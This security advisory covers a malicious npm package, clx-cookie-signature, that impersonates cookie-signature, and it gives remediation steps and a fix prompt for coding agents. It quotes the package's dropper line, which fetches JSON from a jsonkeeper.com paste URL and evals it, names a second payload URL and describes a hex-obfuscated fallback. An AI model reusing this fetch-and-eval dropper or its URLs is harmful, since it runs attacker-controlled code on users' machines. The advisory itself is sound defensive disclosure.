# MAL-2026-6141: Malicious code in clx-cookie-signature (npm)


- **Type:** Malicious package
- **Package:** `clx-cookie-signature` (npm)
- **Published:** 18 Jun 2026
- **Also known as:** GHSA-vwwm-x6xj-cfmf

## What is MAL-2026-6141?

MAL-2026-6141 is a malicious package in clx-cookie-signature, published on 18 Jun 2026. 

### Official description

Package impersonates the popular cookie-signature library (copying its README, author field 'TJ Holowaychuk <tj@learnboost.com>', and sign/unsign API), but index.js adds a top-level dropper that fires the moment the module is required. Specifically, index.js line 16 issues `require('axios').get('https://www.jsonkeeper.com/b/MYUKZ').then(r => { eval(r.data.content_o); })`, eval'ing whatever JSON the author currently hosts at that URL. A helper `g()` (index.js lines 18-24) decodes hex-encoded strings to reconstruct the tokens 'axios', 'get', 'then' and a second payload URL https://www.jsonkeeper.com/b/HY6M6, providing an obfuscated fallback dropper. Because jsonkeeper.com is a mutable, author-controlled paste host, the author can change the executed code at any time without republishing the package. Any project that installs and require()s clx-cookie-signature — likely as a mistyped substitute for cookie-signature — runs arbitrary attacker code in the consuming process.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-6141?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-6141 is a malicious package: clx-cookie-signature (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-6141/ (Markdown: https://insights.sbomify.com/MAL-2026-6141/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-6141

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-6141/
Summaries are generated and may contain mistakes; the official description above is the record.